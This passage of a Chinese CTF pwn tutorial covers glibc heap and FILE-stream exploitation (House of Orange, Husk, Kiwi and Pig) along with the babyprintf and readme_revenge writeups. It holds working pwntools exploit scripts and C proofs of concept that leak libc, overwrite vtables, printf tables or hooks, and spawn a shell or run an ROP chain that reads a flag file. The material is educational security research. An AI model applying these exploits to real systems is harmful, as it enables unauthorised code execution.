            char *old_buf = fp->_IO_buf_base;
            size_t old_blen = _IO_blen (fp);
            size_t new_size = 2 * old_blen + 100;
            if (new_size < old_blen)
                return EOF;
            
            new_buf = malloc (new_size);
    ...
}
wint_t
_IO_wstr_overflow (FILE *fp, wint_t c)
{
      int flush_only = c == WEOF;
    ...
      pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
      if (pos >= (size_t) (_IO_wblen (fp) + flush_only))
    {
          if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
            return WEOF;
          else
      {
            wchar_t *new_buf;
            wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
            size_t old_wblen = _IO_wblen (fp);
            size_t new_size = 2 * old_wblen + 100;

          if (__glibc_unlikely (new_size < old_wblen)
            || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
            return EOF;

          new_buf = malloc (new_size * sizeof (wchar_t));
    ...
}      
```

## [babyprintf](https://github.com/firmianay/CTF-All-In-One/tree/master/src/writeup/6.1.25_pwn_hctf2017_babyprintf)

### 检查信息







开了 `NX` 和 `Canary`,题目 `libc` 为 `2.24` 版本。

### 试运行



### 逆向分析

```cpp
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // rbx
unsigned int v4; // eax

Init(a1, a2, a3);
while ( 1 )
{
    __printf_chk(1LL, "size: ");
    v4 = read_n();
    if ( v4 > 0x1000 )
      break;
    v3 = malloc(v4);
    __printf_chk(1LL, "string: ");
    gets(v3);
    __printf_chk(1LL, "result: ");
    __printf_chk(1LL, v3);
}
puts("too long");
exit(1);
}
unsigned __int64 read_n()
{
__int64 v0; // rbx
__int64 v1; // rbp
char v2; // al
char v4; // BYREF
unsigned __int64 v5; //

v0 = 0LL;
v5 = __readfsqword(0x28u);
while ( 1 )
{
    v1 = (int)v0;
    v2 = _IO_getc(stdin);
    v4 = v2;
    if ( v2 == '\n' )
      break;
    if ( ++v0 == 9 )
    {
      if ( v4 != '\n' )
      return strtoul(v4, 0LL, 0);
      v1 = 9LL;
      break;
    }
}
v4 = 0;
return strtoul(v4, 0LL, 0);
}
```

由于程序开启了 `FORTIFY` 机制, 因此在程序编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了,它有如下限制:

> * 包含 `%n` 的格式化字符串不能位于程序内存中的可写地址。
> * 当使用位置参数时,必须使用范围内的所有参数。所以如果要使用 `%7$p`,你必须同时使用`1`,`2`,`3`,`4`,`5`和`6`。

先分配 `size` 大小的空间(不超过0x1000),然后在这里读入字符串,由于使用的是 `gets()` 函数,存在堆溢出漏洞。然后直接调用`__printf_chk()` 打印这个字符串,存在栈信息泄露漏洞。

### 漏洞利用

**前置脚本**

```python
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
is_debug = True
is_local = True

def connect():
    global io, elf, libc
    if is_local:
      io = process('./babyprintf')
    else:
      io = remote('192.168.152.130', 10001)
    elf = ELF("./babyprintf")
    libc = elf.libc

def debug(gdbscript=""):
    if is_debug:
      gdb.attach(io, gdbscript=gdbscript)
      pause()
    else:
      pass

def prf(size, string):
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendlineafter(b"string: ", string)
```

**泄露libc**

```python
def leak_libc():
    global libc_base
    payload= b"A" * 16
    payload += p64(0) + p64(0xfe1)            # top chunk header
    prf(16, payload)

    #gdb.attach(io, 'b *0x400810')
    prf(0x1000, b'%p%p%p%p%p%pA')                # _int_free in sysmalloc
    #pause()
    libc_start_main = int(io.recvuntil(b'A', drop=True)[-12:], 16) - 241
    libc_base = libc_start_main - libc.symbols['__libc_start_main']
    log.info("libc_base address: 0x%x" % libc_base)
```







通过溢出将 `top_chunk` 的 `size` 改成 `fe1`,然后利用申请 `0x1000 > 0xfe1` 大小的 `chunk` 将 `old_top_chunk` 放进 `unsorted bin` 中,并利用第二次的格式化字符串漏洞泄露 `libc` 地址。

**house of orange**

```python
def house_of_orange():
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    system_addr = libc_base + libc.symbols['system']
    bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
    vtable_addr = libc_base + 0x3BE4C0          # _IO_str_jumps

    log.info("_IO_list_all address: 0x%x" % io_list_all)
    log.info("system address: 0x%x" % system_addr)
    log.info("/bin/sh address: 0x%x" % bin_sh_addr)
    log.info("vtable address: 0x%x" % vtable_addr)

    _IO_buf_end = (bin_sh_addr - 100) // 2
    stream= p64(0) + p64(0x61)                # fake header, fp->_flags, fp->_IO_read_ptr
    stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer, fp->_IO_read_end, fp->_IO_read_base
    stream += p64(0)                            # fp->_IO_write_base
    stream += p64(0xffffffffffffffff)         # fp->_IO_write_ptr
    stream += p64(0) * 2                        # fp->_IO_write_end, fp->_IO_buf_base
    stream += p64(_IO_buf_end)                  # fp->_IO_buf_end
    stream= stream.ljust(0xc0, b'\x00')
    stream += p64(0)                            # fp->_mode

    payload= b'A' * 0x10
    payload += stream
    payload += p64(0) * 2
    payload += p64(vtable_addr)               # _IO_FILE_plus->vtable # 0xd8
    payload += p64(system_addr)               # 0xe0
    gdb.attach(io, 'b *0x400810')
    prf(16, payload)
    io.sendline(b"0x1000")      # abort routine
    pause()
```

利用堆溢出漏洞构造如下 `Heap` 与 `IO_FILE` 结构:



我们需要利用 `abort` 调用 `_IO_OVERFLOW` 所以需要 `fp->_mode`为 `0` 且 `fp->_IO_write_ptr>_fp->_IO_write_base`。然后利用 `_IO_str_overflow` 函数所以需要绕过以下检查。

* `_IO_buf_base = 0`,`_IO_buf_end = (bin_sh_addr - 100) // 2`
* `fp->_flags`要不包含`_IO_USER_BUF`,它被定义为 `1` ,即 `fp->_flags`最低位为 `0`。
* `_IO_write_ptr = ((bin_sh_addr - 100) // 2) +1` ,`_IO_write_base = 0x0`
* `fp->_s._allocate_buffer(fp+0xe0)` 改为 `system` 或 `one_gadget` 地址。

利用 `house of orange` 将 `_IO_list_all` 的 `vtable` 指向 `_IO_str_jumps`,然后利用 `abort` 调用 `_IO_OVERFLOW->_IO_str_overflow` 然后进入我们上面讲的调用流,最后调用 `system("/bin/sh\x00")`。



最后`libc` 的低 `32` 位地址为负时,攻击才会成功。

## House of husk

`glibc >= 2.23`

### 原理

这种攻击方式主要是利用了`printf`的一个调用链,应用场景是只能分配较大 `chunk` 时(超过fastbin),存在或可以构造出UAF漏洞。`printf` 函数通过检查 `__printf_function_table` 是否为空,来判断是否有自定义的格式化字符,若为 `printf` 类格式字符串函数,则会根据格式字符串的种类去执行 `__printf_arginfo_table` 处的函数指针。

```cpp
int
__register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);
}
int
__register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{
    // 不在 0~0xff 范围内则调用 __set_errno 并返回 -1
      if (spec < 0 || spec > (int) UCHAR_MAX)
    {
          __set_errno (EINVAL);
          return -1;
    }

   int result = 0;
      __libc_lock_lock (lock);

      if (__printf_function_table == NULL)
    {
      // 若spec为空,程序则会通过calloc分配两个堆地址来存放
      // __printf_arginfo_table和__printf_function_table
          __printf_arginfo_table = (printf_arginfo_size_function **)
      calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
          if (__printf_arginfo_table == NULL)
      {
            result = -1;
            goto out;
      }

          __printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
    }

__printf_function_table = converter;
__printf_arginfo_table = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

```

我们可以利用这样一条调用链`printf->vfprintf->printf_positional->__parse_one_specmb`,通过篡改`__printf_arginfo_table`和`__printf_function_table`来进行攻击,可以看到当`__printf_function_table`非空,将会调用`printf_positional`函数

```cpp
int
__printf (const char *format, ...)
{
    va_list arg;
    int done;
    va_start (arg, format);
    done = vfprintf (stdout, format, arg);
    va_end (arg);
    return done;
}
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
    ...
      if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
            goto do_positional;
    ...
do_positional:
    ...
      done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);
    ...
}
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
         va_list ap, va_list *ap_savep, int done, int nspecs_done,
         const UCHAR_T *lead_str_end,
         CHAR_T *work_buffer, int save_errno,
         const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
    ...
    nargs += __parse_one_specmb (f, nargs, &specs, &max_ref_arg);
    ...
    extern printf_function **__printf_function_table;
    int function_done;

    if (spec <= UCHAR_MAX
      && __printf_function_table != NULL
      && __printf_function_table[(size_t) spec] != NULL)
   {
          const void **ptr = alloca (specs.ndata_args
                     * sizeof (const void *));

          /* Fill in an array of pointers to the argument values.*/
          for (unsigned int i = 0; i < specs.ndata_args; ++i)
            ptr = &args_value.data_arg + i];

          /* Call the function.*/
          function_done = __printf_function_table[(size_t) spec](s, &specs.info, ptr);
            ...
      }
}
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
            struct printf_spec *spec, size_t *max_ref_arg)
{
    ...
if (__builtin_expect (__printf_function_table == NULL, 1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table == NULL
      /* We don't try to get the types for all arguments if the format
   uses more than one.The normal case is covered though.If
   the call returns -1 we continue with the normal specifiers.*/
      || (int) (spec->ndata_args = (*__printf_arginfo_table)
                   (&spec->info, 1, &spec->data_arg_type,
                  &spec->size)) < 0)
    ...
}
```

* 泄露 `libc` 地址。
* 修改 `global_max_fast` 为很大的值,可以 `large bin attack/unsorted bin attack`
* 将 `__printf_function_table` 或者 `__printf_arginfo_table` 覆盖为指向写有 one_gadget 的内存的指针。其中 `one_gadget` 在内存中的偏移对应与之后触发漏洞的 `spec` 。
* 如果是利用 `__printf_function_table` 触发漏洞需要让 `__printf_arginfo_table` 指向一块内存并且该内存对应 `spec` 偏移处设为 null ,否则会在 `__parse_one_specmb` 函数的 if 判断中造成不可预知的错误。

* 最后调用 `printf` 触发漏洞获取 `shell` 。

### (https://ptr-yudai.hatenablog.com/entry/2020/04/02/013910)

```cpp
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a2fc

int main (void)
{
    unsigned long libc_base;
    char *a;
    setbuf(stdout, NULL); // make printf quiet

    /* leak libc */
    a = malloc(0x500); /* UAF chunk */
    a = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
    a = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
    a = malloc(0x500); /* avoid consolidation */
    free(a);
    // unsorted bin 泄露 libc
    libc_base = *(unsigned long*)a - MAIN_ARENA - MAIN_ARENA_DELTA;
    printf("libc @ 0x%lx\n", libc_base);

    /* prepare fake printf arginfo table */
    /* 'X'-2 mean that prev_size | size */
    *(unsigned long*)(a + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    // now __printf_arginfo_table['X'] = one_gadget;
    /*(unsigned long*)(a + ('X' - 2) * 8) = libc_base + ONE_GADGET; */
    /* unsorted bin attack */
    *(unsigned long*)(a + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
    a = malloc(0x500); /* overwrite global_max_fast */

    /* overwrite __printf_arginfo_table and __printf_function_table */
    free(a);// __printf_function_table => a heap_addr which is not NULL
    free(a);// => one_gadget

    /* ignite! */
    printf("%X", 0);

    return 0;
}
```



## [readme_revenge](https://github.com/firmianay/CTF-All-In-One/tree/master/src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge)

### 检查信息





静态编译并且没有去除符号。

### 试运行



### 逆向分析

```assembly
.text:0000000000400A0D                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400A0D                               public main
.text:0000000000400A0D                               main proc near                        ; DATA XREF: _start+1D↑o
.text:0000000000400A0D
.text:0000000000400A0D                               var_1020= qword ptr -1020h
.text:0000000000400A0D
.text:0000000000400A0D                               ; __unwind {
.text:0000000000400A0D 55                            push    rbp
.text:0000000000400A0E 48 89 E5                      mov   rbp, rsp
.text:0000000000400A11 48 8D A4 24 E0 EF FF FF       lea   rsp,
.text:0000000000400A19 48 83 0C 24 00                or      , 0
.text:0000000000400A1E 48 8D A4 24 20 10 00 00       lea   rsp,
.text:0000000000400A26 48 8D 35 B3 69 2B 00          lea   rsi, name
.text:0000000000400A2D 48 8D 3D 50 C7 08 00          lea   rdi, unk_48D184    ;%s
.text:0000000000400A34 B8 00 00 00 00                mov   eax, 0
.text:0000000000400A39 E8 22 71 00 00                call    __isoc99_scanf
.text:0000000000400A39
.text:0000000000400A3E 48 8D 35 9B 69 2B 00          lea   rsi, name
.text:0000000000400A45 48 8D 3D 3B C7 08 00          lea   rdi, aHiSBye                  ; "Hi, %s. Bye.\n"
.text:0000000000400A4C B8 00 00 00 00                mov   eax, 0
.text:0000000000400A51 E8 7A 6F 00 00                call    printf
.text:0000000000400A51
.text:0000000000400A56 B8 00 00 00 00                mov   eax, 0
.text:0000000000400A5B 5D                            pop   rbp
.text:0000000000400A5C C3                            retn
.text:0000000000400A5C                               ; } // starts at 400A0D
.text:0000000000400A5C
.text:0000000000400A5C                               main endp
```



存在缓冲区漏洞,向 `.bss` 节的 `name` 变量写入内容,然后打印它。并且 `flag` 位于 `.data` 节,可以利用 `__stack_chk_fail()` 将其打印出来。

### 漏洞利用

利用缓冲区溢出篡改 `__printf_function_table` 指向一个非零值,因为 `%s` 的 `ascii` 是 `0x73`,所以让 `__printf_arginfo_table` 指向 `fake_arginfo_table == __stack_chk_fail()`,将 `argv` 改为 `flag` 地址。







**exp**

```python
from pwn import *

io = process('./readme_revenge')

flag_addr = 0x6b4040
name_addr = 0x6b73e0
argv_addr = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8

stack_chk_fail = 0x4359b0

payload= p64(flag_addr)       # name
payload= payload.ljust(0x73 * 8, b"\x00")
payload += p64(stack_chk_fail)# __printf_arginfo_table
payload= payload.ljust(argv_addr - name_addr, b"\x00")
payload += p64(name_addr)       # argv
payload= payload.ljust(func_table - name_addr, b"\x00")
payload += p64(name_addr)       # __printf_function_table
payload= payload.ljust(arginfo_table - name_addr, b"\x00")
payload += p64(name_addr)       # __printf_arginfo_table

gdb.attach(io, 'b *0x400A4C')
io.sendline(payload)
pause()
io.interactive()
```



## House of Kiwi

`glibc < 2.36`

### 原理

有如下调用链:

```cpp
#ifdef NDEBUG
# define assert(expr) ((void) 0)
#else
# define assert(expr) \
((expr)                                    \
   ? ((void) 0)                                    \
   : __malloc_assert (#expr, __FILE__, __LINE__, __func__))

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
fflush (stderr);
abort ();
}
#endif
```

_tips:通过`large bin chunk`的`size`中`flag`位修改,或者`top chunk`的`inuse`写`0`等方法可以触发`assert`_

当我们触发 `assert` 断言时会调用 `__malloc_assert`,`__malloc_assert` 里有这样一条调用链:`fflush->_IO_fflush`

```cpp
int
_IO_fflush (_IO_FILE *fp)
{
if (fp == NULL)
    return _IO_flush_all ();
else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}
```

执行到 `result = _IO_SYNC (fp) ? EOF : 0;` 时,会调用 `_IO_new_file_sync`, `_IO_file_jumps_` 可写。因此将 `_IO_file_jumps_` 对应 `_IO_new_file_sync` 函数指针的位置覆盖为 `one_gadget` 就可以获取 `shell` 。

利用前提:

1. 能够触发 `__malloc_assert`。
2. 能够申请到 `_IO_file_sync` 和 `_IO_helper_jumps` 这两个位置并且修改。

### POC

**未开沙箱 poc**

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

void getshell()
{
    system("/bin/sh");
}

size_t libc_base;

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);

    libc_base= ((size_t)setvbuf) - 0x7a4e0;

    size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps

    *((size_t*)_IO_file_sync) = &getshell;

    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    *top_size = (*top_size)&0xFFE;

    malloc(0x1000);

    _exit(-1);
}
```



**开了沙箱禁用 execve**

对于禁用 `execve` 的程序需要借助 `(setcontext+61) + rop` 或 `shellcode` 进行 `orw` 。`glibc 2.29`之后 `setcontext`中的 `gadget`变成了以 `rdx `索引,因此还要先通过 `ROP`控制 `RDX`的值。

```assembly
; setcontext+61
.text:00000000000580DD               mov   rsp,
.text:00000000000580E4               mov   rbx,
.text:00000000000580EB               mov   rbp,
.text:00000000000580EF               mov   r12,
.text:00000000000580F3               mov   r13,
.text:00000000000580F7               mov   r14,
.text:00000000000580FB               mov   r15,
.text:00000000000580FF               test    dword ptr fs:48h, 2
    ....
.text:00000000000581C6               mov   rcx,
.text:00000000000581CD               push    rcx
.text:00000000000581CE               mov   rsi,
.text:00000000000581D2               mov   rdi,
.text:00000000000581D6               mov   rcx,
.text:00000000000581DD               mov   r8,
.text:00000000000581E1               mov   r9,
.text:00000000000581E5               mov   rdx,
.text:00000000000581EC               xor   eax, eax
.text:00000000000581EE               retn
```

_tips:注意,内存中有不止一个`_IO_helper_jumps_` ,具体是哪一个要通过调试确定_

调用 `_IO_new_file_sync` 时 `rdx` 指向的是 `_IO_helper_jumps_` 结构,该结构同样可写。因此可以通过修改 `_IO_helper_jumps_` 中的内容来给寄存器赋值。还需要设置 `rsp` 指向提前布置好的 `rop` 的起始位置,同时设置 `rip` 指向 `ret` 指令。最后劫持程序流实现 `orw` 。

总体利用思路如下:

- 利用 `large bin attack` 改位于 `_IO_file_jumps` 中的`_IO_file_sync`指针为 `setcontext + 61`
- 修改`IO_helper_jumps + 0xA0` 和 `IO_helper_jumps + 0xA8 `分别为可迁移的存放有 `rop` 的位置和 `ret` 指令或者 `rop` 首个指令地址的位置,则可以进行栈迁移

**poc**

来自 (https://gitcode.net/qq_45323960/attachment/-/tree/master/house_of_poc/house_of_kiwi)

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

#define pop_rdi_ret libc_base + 0x2da82
#define pop_rdx_r12 libc_base + 0x107191
#define pop_rsi_ret libc_base + 0x37bba
#define pop_rax_ret libc_base + 0x446d0
#define syscall_ret libc_base + 0x88236
#define ret pop_rdi_ret+1

size_t libc_base;
size_t ROP;
char FLAG[] = "./flag\x00";

int main() {
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);

    libc_base= ((size_t)setvbuf) - 0x7a4e0;

    size_t magic_gadget = libc_base + 0x50bd0 + 61; // setcontext + 61

    size_t _IO_helper_jumps = libc_base + 0x1f3980; // _IO_helper_jumps

    size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps

    uint32_t i = 0;
    ROP = pop_rax_ret;
    ROP = 2;
    ROP = pop_rdi_ret;
    ROP = (size_t)FLAG;
    ROP = pop_rsi_ret;
    ROP = 0;
    ROP = syscall_ret;
    ROP = pop_rdi_ret;
    ROP = 3;
    ROP = pop_rdx_r12;
    ROP = 0x100;
    ROP = 0;
    ROP = pop_rsi_ret;
    ROP = (size_t)(FLAG + 0x10);
    ROP = (size_t)read;
    ROP = pop_rdi_ret;
    ROP = 1;
    ROP = (size_t)write;
    // 设置rsp
    *((size_t*)_IO_helper_jumps + 0xA0/8) = (size_t)ROP;
    // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
    *((size_t*)_IO_helper_jumps + 0xA8/8) = ret;
   // 设置fflush(stderr)中调用的指令地址
    *((size_t*)_IO_file_sync) = magic_gadget;
    // 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
    size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
    // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中
    // 其中有个判断top_chunk的size中inuse位是否存在
    *top_size = (*top_size)&0xFFE;

    malloc(0x1000); // 触发assert

    _exit(-1);
}
```



**glibc-2.36 的执行流**

`glibc-2.36` 的 `__malloc_assert` 发生重大改变,直接通过系统调用不走 `IO`,该方法失效。

```cpp
_Noreturn static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
__libc_message (do_abort, "\
Fatal glibc error: malloc assertion failure in %s: %s\n",
          function, assertion);
__builtin_unreachable ();
}
```

## House of pig

### 前置知识

再来看一下 `_IO_str_overflow` 函数:

```cpp
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base; // 覆盖到这里
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
      return EOF;
      new_buf = malloc (new_size); // 调用malloc
      if (new_buf == NULL)
      {
          /*      __ferror(fp) = 1; */
          return EOF;
      }
      if (old_buf)
      {
          memcpy (new_buf, old_buf, old_blen);// 调用memecpy,覆盖
          free (old_buf); // 调用free
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
      }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
      ...
      }
}
```

利用流程如下:

- 将`_IO_buf_base` 指向 `/bin/sh\x00` 地址。
- 控制`_IO_buf_end-_IO_buf_base` 的值也就是 `new_size` 的值,进而控制分配的 `chunk` 的大小,分配到布局好的地址。
- 利用 `memcpy` 中覆盖地址,也就是 `malloc` 出来的 `new_buf`, 可以覆盖`__malloc_hook/__free_hook` 等
- 最后调用 `free(old_buf) -> system("/bin/sh")`,

在 `glibc-2.34` 后 `ptmalloc` 取消了各种 `hook`,但依然可以用 `house of pig` 实现任意地址写任意值,借助其他手段完成权限获取,后面有时间会做补充。

`House of Pig` 是一个将 `Tcache Statsh Unlink Attack` 和 `FSOP` 结合的攻击,同时使用到了 `Largebin Attack` 进行辅助。主要适用于 `libc 2.31` 及以后的新版本 `libc` 并且程序中仅有 `calloc` 时。

利用条件为

- 存在 `UAF`
-能执行 `abort` 流程或程序显式调用 `exit` 或程序能通过主函数返回。

### (https://github.com/Hornos3/pwnfile)

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BLACK       "30"
#define RED         "31"
#define GREEN       "32"
#define YELLOW      "33"
#define BLUE      "34"
#define PURPLE      "35"
#define GREEN_DARK"36"
#define WHITE       "37"

#define UNDEFINED   "-1"
#define HIGHLIGHT   "1"
#define UNDERLINE   "4"
#define SPARK       "5"

#define STR_END      "\033[0m"

void printf_color(char* color, char* effect, char* string){
    char buffer = {0};
    strcpy(buffer, "\033[");
    if(effect != '-'){
      strcat(buffer, effect);
      strcat(buffer, ";");
    }
    strcat(buffer, color);
    strcat(buffer, "m");
    strcat(buffer, string);
    printf("%s" STR_END, buffer);
}

int main(){
    printf_color(GREEN, UNDEFINED, "今天我们来学习一下house of pig的利用原理。\n");
    printf_color(GREEN, UNDEFINED, "house of pig在只能使用calloc进行内存分配的CTF赛题中也有用武之地。\n");
    printf_color(GREEN, UNDEFINED, "首先我们了解一下这种利用方式的基本原理。\n");
    printf_color(GREEN, UNDEFINED, "本程序运行于ubuntu 20.04, glibc版本为2.31-0ubuntu9.9。\n");
    printf_color(GREEN, UNDEFINED, "在glibc 2.31下,house of pig需要利用__free__hook。\n\n");
    printf_color(RED, HIGHLIGHT, "第一步:获取libc的加载地址及堆地址。\n");
    printf_color(GREEN, UNDEFINED, "通过puts函数获取libc加载地址,在本libc中其偏移为0x84420。\n");

    size_t puts_addr = (size_t)puts;
    size_t libc_base = puts_addr - 0x84420;
    printf_color(YELLOW, HIGHLIGHT, "libc的加载地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, libc_base);

    printf_color(GREEN, UNDEFINED, "然后我们通过分配一个chunk(大小为0x500)来获得一个堆地址。\n");
    size_t chunk_1 = (size_t) malloc(0x4F0) - 0x10;
    printf_color(YELLOW, HIGHLIGHT, "获得堆地址为这个chunk的起始地址:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n\n" STR_END, chunk_1);

    printf_color(RED, HIGHLIGHT, "第二步:通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n");
    printf_color(GREEN, UNDEFINED, "为了方便起见,本程序直接对__free_hook附近地址进行修改。\n");
    printf_color(GREEN, UNDEFINED, "在实际应用中,我们要维护好这个堆地址,在后面的步骤中还会用到。\n");
    printf_color(PURPLE, HIGHLIGHT, "这里在__free_hook-0x10处写入刚才获得的堆地址。\n");

    printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1EEE48。\n");

    size_t __free_hook = libc_base + 0x1EEE48;
    printf_color(YELLOW, HIGHLIGHT, "__free_hook的地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, __free_hook);

    size_t* vuln_1 = (size_t*)(__free_hook - 0x8);
    // ---------- 第一处漏洞利用 ---------- //
    *vuln_1 = chunk_1;
    // --------------------------------- //

    printf_color(BLUE, HIGHLIGHT, "第一处漏洞利用完成,已在__free_hook-0x10处写入堆地址。\n\n");

    printf_color(RED, HIGHLIGHT, "第三步:通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n");
    printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1ED5A0。\n");

    size_t* _IO_list_all = (size_t*)(libc_base + 0x1ED5A0);

    printf_color(GREEN, UNDEFINED, "_IO_list_all中原本保存的应该是_IO_2_1_stderr_这个文件结构体实例。\n");
    printf_color(GREEN, UNDEFINED, "在程序调用exit函数时会对_IO_list_all中的FILE结构体依次进行遍历。\n");
    printf_color(GREEN, UNDEFINED, "exit函数的调用链为:exit->_IO_cleanup->_IO_flush_all_lockp。\n");
    printf_color(GREEN, UNDEFINED, "下面是_IO_flush_all_lockp的函数定义:\n\n");
    printf_color(BLUE, HIGHLIGHT, "(/libio/genops.c, line 684)\n");
    printf_color(PURPLE, HIGHLIGHT,
               "int\n"
               "_IO_flush_all_lockp (int do_lock)\n"
               "{\n"
               "int result = 0;\n"
               "FILE *fp;\n"
               "\n"
               "#ifdef _IO_MTSAFE_IO\n"
               "_IO_cleanup_region_start_noarg (flush_cleanup);\n"
               "_IO_lock_lock (list_all_lock);\n"
               "#endif\n"
               "\n"
               "\033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
               "    {\n"
               "      run_fp = fp;\n"
               "      if (do_lock)\n"
               "\t_IO_flockfile (fp);\n"
               "\n"
               "      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
               "\t   || (_IO_vtable_offset (fp) == 0\n"
               "\t       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
               "\t\t\t\t    > fp->_wide_data->_IO_write_base))\n"
               "\t   )\n"
               "\t&& _IO_OVERFLOW (fp, EOF) == EOF)\n"
               "\tresult = EOF;\n"
               "\n"
               "      if (do_lock)\n"
               "\t_IO_funlockfile (fp);\n"
               "      run_fp = NULL;\n"
               "    }\n\033[1;" PURPLE "m"
               "\n"
               "#ifdef _IO_MTSAFE_IO\n"
               "_IO_lock_unlock (list_all_lock);\n"
               "_IO_cleanup_region_end (0);\n"
               "#endif\n"
               "\n"
               "return result;\n"
               "}\n\n");
    printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这便是遍历_IO_list_all链中的所有FILE实例。\n");
    printf_color(GREEN, UNDEFINED, "其中一条if语句的判断条件中会调用_IO_OVERFLOW函数。\n");
    printf_color(GREEN, UNDEFINED, "这个函数指的是vtable中overflow那个字段对应的函数。\n");
    printf_color(GREEN, UNDEFINED, "要执行到这个函数,就必须要让前面一个判断条件满足。\n");
    printf_color(GREEN, UNDEFINED, "这也就是我们伪造FILE结构体时需要注意的地方。\n");
    printf_color(GREEN, UNDEFINED, "下面我们就来修改_IO_list_all的值,用一个chunk地址填充。\n");
